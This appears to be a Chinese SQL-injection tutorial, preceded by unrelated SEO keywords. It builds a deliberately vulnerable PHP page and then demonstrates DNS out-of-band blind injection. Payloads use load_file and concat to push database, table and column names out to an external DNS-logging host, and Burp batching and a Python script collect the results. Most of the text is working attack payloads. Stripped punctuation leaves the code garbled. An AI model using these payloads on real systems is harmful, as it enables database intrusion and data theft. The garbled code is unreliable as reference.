镇江网站搭建,萧山建设信用网,wordpress中文docker,广州googleseo网络营销对于一个sql注入点来说最幸运的就是支持堆叠注入#xff0c;最蛋疼的就是盲注#xff0c;盲注里面难搞的就是基于时间的盲注。我们在本地利用这段代码进行演示?php
error_reporting(0);
$link mysqli_connect(localhost,root,root);
mysqli_set_charset($link,utf8);
m…对于一个sql注入点来说最幸运的就是支持堆叠注入最蛋疼的就是盲注盲注里面难搞的就是基于时间的盲注。我们在本地利用这段代码进行演示?php
error_reporting(0);
$link mysqli_connect(localhost,root,root);
mysqli_set_charset($link,utf8);
mysqli_select_db($link,test);
$id $_GET[id];
$sql select * from test.order where id$id;
$res mysqli_query($link,$sql);把链接丢到sqlmap里面可以看到sqlmap成功检测出了时间盲注在局域网网络环境延迟很低并且没有任何安全软件的前提下sqlmap猜解表明的速度依然非常慢接下来我们尝试用dns log的方式来获取数据。dns猜解数据需要执行show variables like %secure%;1、当secure_file_priv为空就可以读取磁盘的目录。2、当secure_file_priv为G:就可以读取G盘的文件。3、当secure_file_priv为nullload_file就不能加载文件。如果secure_file_priv不为空可以通过设置my.ini来配置。加入secure_file_priv然后重启mysql即可。还需要一个dnslog的平台我一般用 http://ceye.io/平台会分配一个子域名ping一下这个域名然后即可看到刚才ping的记录然后我们测试一下注入点是否支持dns外带数据。通过 http://127.0.0.1/test.php?id1 union select 1,2,3,4 and sleep(10)猜解到字段数为4然后测试是否支持dns外带数据http://127.0.0.1/test.php?id1 union select 1,load_file(t1.xxxx.ceye.ioabc),3,4可以看到t1的被带了出来下面进行数据拆解查数据库名 http://127.0.0.1/test.php?id1 union select 6,load_file(concat(,(select database()),.xxx.ceye.ioabc)),3,8数据库名为test然后拆解第一个表名http://127.0.0.1/test.php?id1 union select 1,load_file( concat(,(select table_name from information_schema.tables where table_schema0x74657374 limit 0,1),.xxxx.ceye.ioabc)),3,4第一个表名为admin 然后我们通过burp来进行批量拆解先查表的数量http://127.0.0.1/test.php?id1 union select 1,load_file( concat(,(select count(table_name) from information_schema.tables where table_schema0x74657374 limit 0,1),.xxx.ceye.ioabc)),3,4一共有四张表然后批量获取表名127.0.0.1/test.php?id1 union select 1,load_file( concat(,(select table_name from information_schema.tables where table_schema0x74657374 limit 0,1),.xxxx.ceye.ioabc)),3,发送URL到burp的测试器limit 01 后面的0设置为变量payload选择线程设置为 1然后开始攻击完成以后可以在平台上查到获取到的表名平台提供文件导出为json文件的功能下载到本地放到脚本目录#python3
import json#自己平台的地址
url .xxx.ceye.iof open(./data.json)
json_data f.read()
f.close()data json.loads(json_data)data_list []for i in data:data_list.append(i[name].replace(url,))data_list list(set(data_list))
for i in data_list:print(i)
可以去重以后打印出刚才获取的数据清理历史记录再通过burp获取admin表的字段http://127.0.0.1/test.php?id1 union select 1,load_file( concat(,(select column_name from information_schema.columns where table_name0x61646D696E limit 0,1),.xxxx.ceye.ioabc)),3,4 获取数据select column_name from information_schema.columns where table_name0x61646D696E limit 0,1